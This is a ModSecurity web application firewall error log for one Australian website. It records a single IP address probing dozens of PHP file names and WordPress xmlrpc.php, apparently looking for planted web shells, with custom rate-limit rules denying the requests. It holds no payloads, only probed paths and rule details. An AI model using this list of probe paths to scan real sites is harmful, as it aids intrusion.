[Mon Feb 09 00:51:54.602221 2026] [:error] [pid 6662:tid 6689] [client 20.69.252.116:35084] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aYi_Kt-oEK1ut16KiNIdBgAAAlc"]
[Mon Feb 09 00:51:55.028565 2026] [:error] [pid 43900:tid 43905] [client 20.69.252.116:34518] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aYi_K-Wrhnpm_Csk3knJ5gAAAUI"]
[Mon Feb 09 00:51:55.430670 2026] [:error] [pid 9422:tid 9433] [client 20.69.252.116:48733] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aYi_K69DqDJC68qBbyxFQgAAAYg"]
[Mon Feb 09 00:51:55.836364 2026] [:error] [pid 24423:tid 24493] [client 20.69.252.116:35117] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aYi_K03f9n1Y0TpV5YaJnQAAAIg"]
[Mon Feb 09 00:51:56.238422 2026] [:error] [pid 6662:tid 6678] [client 20.69.252.116:35114] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aYi_LN-oEK1ut16KiNIdCAAAAkw"]
[Mon Feb 09 00:51:56.643188 2026] [:error] [pid 24423:tid 24488] [client 20.69.252.116:35156] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aYi_LE3f9n1Y0TpV5YaJngAAAIM"]
[Mon Feb 09 00:51:57.049470 2026] [:error] [pid 24530:tid 24551] [client 20.69.252.116:35111] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aYi_LUazNRCs1GRWrh47uQAAANM"]
[Mon Feb 09 00:51:57.458347 2026] [:error] [pid 6662:tid 6669] [client 20.69.252.116:48752] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aYi_Ld-oEK1ut16KiNIdCwAAAkM"]
[Mon Feb 09 00:51:57.860657 2026] [:error] [pid 43900:tid 43924] [client 20.69.252.116:35123] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aYi_LeWrhnpm_Csk3knJ7AAAAVU"]
[Mon Feb 09 00:51:58.276670 2026] [:error] [pid 24423:tid 24501] [client 20.69.252.116:35143] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aYi_Lk3f9n1Y0TpV5YaJoAAAAJA"]
[Mon Feb 09 00:51:58.684762 2026] [:error] [pid 6662:tid 6676] [client 20.69.252.116:34505] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aYi_Lt-oEK1ut16KiNIdDAAAAko"]
[Mon Feb 09 00:52:01.897433 2026] [:error] [pid 6662:tid 6668] [client 20.69.252.116:35160] [client 20.69.252.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.69.252.116, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYi_Md-oEK1ut16KiNIdFAAAAkI"]
[Mon Feb 09 00:52:02.099730 2026] [:error] [pid 6723:tid 6802] [client 20.69.252.116:48723] [client 20.69.252.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.69.252.116, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aYi_Mjkiu6gHwS33P0qTDAAAA1E"]
[Mon Feb 09 00:52:04.459116 2026] [:error] [pid 6662:tid 6689] [client 20.69.252.116:35160] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aYi_NN-oEK1ut16KiNIdGgAAAlc"]
[Mon Feb 09 00:52:04.865432 2026] [:error] [pid 9482:tid 9541] [client 20.69.252.116:35089] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aYi_NMTkGH_puEFp5zPRmAAAA8I"]
[Mon Feb 09 00:52:05.288650 2026] [:error] [pid 24423:tid 24492] [client 20.69.252.116:48767] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aYi_NU3f9n1Y0TpV5YaJpgAAAIc"]
[Mon Feb 09 00:52:05.727864 2026] [:error] [pid 6630:tid 6639] [client 20.69.252.116:35086] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aYi_NZ2jf0FBTEb_cWQRdQAAAgY"]
[Mon Feb 09 00:52:06.129834 2026] [:error] [pid 6723:tid 6785] [client 20.69.252.116:48648] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aYi_Njkiu6gHwS33P0qTFgAAA0A"]
[Mon Feb 09 00:52:06.548299 2026] [:error] [pid 6630:tid 6634] [client 20.69.252.116:48724] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aYi_Np2jf0FBTEb_cWQRdgAAAgE"]
[Mon Feb 09 00:52:06.963717 2026] [:error] [pid 9482:tid 9540] [client 20.69.252.116:35105] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aYi_NsTkGH_puEFp5zPRnAAAA8E"]
[Mon Feb 09 00:52:07.381235 2026] [:error] [pid 43900:tid 43923] [client 20.69.252.116:48672] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aYi_N-Wrhnpm_Csk3knJ-AAAAVQ"]
[Mon Feb 09 00:52:07.801869 2026] [:error] [pid 6630:tid 6656] [client 20.69.252.116:34502] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/199.php"] [unique_id "aYi_N52jf0FBTEb_cWQReAAAAhc"]
[Mon Feb 09 00:52:08.262237 2026] [:error] [pid 6662:tid 6676] [client 20.69.252.116:35136] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/199.php"] [unique_id "aYi_ON-oEK1ut16KiNIdHwAAAko"]
[Mon Feb 09 00:52:08.676281 2026] [:error] [pid 6663:tid 6705] [client 20.69.252.116:35177] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/199.php"] [unique_id "aYi_OGGI3uHqWdeZM76gtgAAAow"]
[Mon Feb 09 00:52:09.081534 2026] [:error] [pid 24423:tid 24496] [client 20.69.252.116:35128] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/199.php"] [unique_id "aYi_OU3f9n1Y0TpV5YaJqAAAAIs"]
[Mon Feb 09 00:52:09.510120 2026] [:error] [pid 24421:tid 24438] [client 20.69.252.116:34521] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYi_Oap7cTzhX5M1IP9ZTAAAAAc"]
[Mon Feb 09 00:52:09.943165 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:35197] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYi_OUazNRCs1GRWrh47xAAAAMs"]
[Mon Feb 09 00:52:10.343580 2026] [:error] [pid 9482:tid 9560] [client 20.69.252.116:48653] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYi_OsTkGH_puEFp5zPRoQAAA9U"]
[Mon Feb 09 00:52:10.793508 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:35100] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYi_Ojkiu6gHwS33P0qTFwAAA08"]
[Mon Feb 09 00:52:11.195732 2026] [:error] [pid 24421:tid 24439] [client 20.69.252.116:48705] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_O6p7cTzhX5M1IP9ZTwAAAAg"]
[Mon Feb 09 00:52:11.600899 2026] [:error] [pid 24530:tid 24532] [client 20.69.252.116:35159] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_O0azNRCs1GRWrh47yAAAAMA"]
[Mon Feb 09 00:52:12.009055 2026] [:error] [pid 9422:tid 9435] [client 20.69.252.116:35189] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_PK9DqDJC68qBbyxFSAAAAYo"]
[Mon Feb 09 00:52:12.416397 2026] [:error] [pid 24421:tid 24431] [client 20.69.252.116:35180] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_PKp7cTzhX5M1IP9ZUgAAAAA"]
[Mon Feb 09 00:52:12.816426 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:48735] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aYi_PK9DqDJC68qBbyxFSgAAAZc"]
[Mon Feb 09 00:52:13.230519 2026] [:error] [pid 9422:tid 9441] [client 20.69.252.116:35088] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aYi_Pa9DqDJC68qBbyxFSwAAAZA"]
[Mon Feb 09 00:52:13.636845 2026] [:error] [pid 6723:tid 6803] [client 20.69.252.116:35170] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aYi_PTkiu6gHwS33P0qTGgAAA1I"]
[Mon Feb 09 00:52:14.043201 2026] [:error] [pid 9482:tid 9552] [client 20.69.252.116:35099] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aYi_PsTkGH_puEFp5zPRogAAA80"]
[Mon Feb 09 00:52:14.445967 2026] [:error] [pid 9422:tid 9447] [client 20.69.252.116:35133] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aYi_Pq9DqDJC68qBbyxFTwAAAZY"]
[Mon Feb 09 00:52:14.846248 2026] [:error] [pid 24421:tid 24443] [client 20.69.252.116:48738] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aYi_Pqp7cTzhX5M1IP9ZVwAAAAw"]
[Mon Feb 09 00:52:15.277244 2026] [:error] [pid 9422:tid 9445] [client 20.69.252.116:35178] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aYi_P69DqDJC68qBbyxFUwAAAZQ"]
[Mon Feb 09 00:52:15.677649 2026] [:error] [pid 24421:tid 24438] [client 20.69.252.116:35188] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aYi_P6p7cTzhX5M1IP9ZWAAAAAc"]
[Mon Feb 09 00:52:16.087535 2026] [:error] [pid 6723:tid 6787] [client 20.69.252.116:48670] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aYi_QDkiu6gHwS33P0qTHQAAA0I"]
[Mon Feb 09 00:52:16.498115 2026] [:error] [pid 9482:tid 9556] [client 20.69.252.116:35195] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aYi_QMTkGH_puEFp5zPRpAAAA9E"]
[Mon Feb 09 00:52:16.897918 2026] [:error] [pid 24421:tid 24433] [client 20.69.252.116:34511] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aYi_QKp7cTzhX5M1IP9ZWQAAAAI"]
[Mon Feb 09 00:52:17.296645 2026] [:error] [pid 24530:tid 24537] [client 20.69.252.116:34439] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aYi_QUazNRCs1GRWrh47ygAAAMU"]
[Mon Feb 09 00:52:17.706374 2026] [:error] [pid 24423:tid 24490] [client 20.69.252.116:35073] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYi_QU3f9n1Y0TpV5YaJsAAAAIU"]
[Mon Feb 09 00:52:18.110208 2026] [:error] [pid 9482:tid 9543] [client 20.69.252.116:34526] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYi_QsTkGH_puEFp5zPRpwAAA8Q"]
[Mon Feb 09 00:52:18.528088 2026] [:error] [pid 24421:tid 24455] [client 20.69.252.116:48703] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYi_Qqp7cTzhX5M1IP9ZXAAAABg"]
[Mon Feb 09 00:52:18.928778 2026] [:error] [pid 24530:tid 24553] [client 20.69.252.116:35092] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYi_QkazNRCs1GRWrh47zQAAANU"]
[Mon Feb 09 00:52:19.349041 2026] [:error] [pid 24530:tid 24540] [client 20.69.252.116:48728] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aYi_Q0azNRCs1GRWrh47zgAAAMg"]
[Mon Feb 09 00:52:19.790423 2026] [:error] [pid 6723:tid 6794] [client 20.69.252.116:34525] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aYi_Qzkiu6gHwS33P0qTIgAAA0k"]
[Mon Feb 09 00:52:20.196628 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:34460] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aYi_REazNRCs1GRWrh470AAAAMs"]
[Mon Feb 09 00:52:20.621894 2026] [:error] [pid 6662:tid 6675] [client 20.69.252.116:35108] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aYi_RN-oEK1ut16KiNIdJwAAAkk"]
[Mon Feb 09 00:52:21.030681 2026] [:error] [pid 43900:tid 43908] [client 20.69.252.116:34551] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aYi_ReWrhnpm_Csk3knJ-gAAAUU"]
[Mon Feb 09 00:52:21.458619 2026] [:error] [pid 24421:tid 24432] [client 20.69.252.116:48664] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aYi_Rap7cTzhX5M1IP9ZYAAAAAE"]
[Mon Feb 09 00:52:21.869496 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:34494] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aYi_RTkiu6gHwS33P0qTJQAAA08"]
